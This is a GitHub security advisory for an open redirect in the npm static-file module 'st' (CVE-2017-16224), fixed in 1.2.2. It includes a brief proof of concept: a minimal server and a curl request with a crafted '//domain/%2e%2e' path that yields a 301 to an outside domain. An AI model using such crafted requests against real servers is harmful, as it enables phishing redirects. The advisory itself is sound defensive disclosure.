GitHub Advisoryadvisory · npm
GHSA-72fg-jqhx-c68p Open Redirect in st
MEDIUM
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- Aliases
- CVE-2017-16224
- Ecosystem
- npm
- Packages
- st
- Severity
- Moderate
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-601
- Reviewed
- 2020-06-16
Affected packages
• npm st: < 1.2.2 → fixed in 1.2.2
Description
st is a module for serving static files.
An attacker is able to craft a request that results in an `HTTP 301` (redirect) to an entirely different domain.
A request for: `http://some.server.com//nodesecurity.org/%2e%2e` would result in a 301 to `//nodesecurity.org/%2e%2e` which most browsers treat as a proper redirect as `//` is translated into the current schema being used.
Mitigating factor:
In order for this to work, `st` must be serving from the root of a server (`/`) rather than the typical sub directory (`/static/`) and the redirect URL will end with some form of URL encoded `..` ("%2e%2e", "%2e.", ".%2e").
Code example (provided by Xin Gao):
[example.js]
```js
var st = require('st')
var http = require('http')
http.createServer(st(process.cwd())).listen(1337)
```
```shell
$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e
• Trying ::1...
• TCP_NODELAY set
• Connected to localhost (::1) port 1337 (#0)
> GET //cve.mitre.com/%2e%2e HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< cache-control: public, max-age=600
< last-modified: Fri, 13 Oct 2017 22:56:33 GMT
< etag: "16777220-46488904-1507935393000"
< location: //cve.mitre.com/%2e%2e/
< Date: Fri, 13 Oct 2017 22:56:41 GMT
< Connection: keep-alive
< Content-Length: 30
<
• Connection #0 to host localhost left intact
```
Recommendation
Update to version 1.2.2 or later.
Related
Alias · CVE (1)
- CVE-2017-16224 st is a module for serving static files. vulnerability
Weakness · CWE (1)
- CWE-601 URL Redirection to Untrusted Site weakness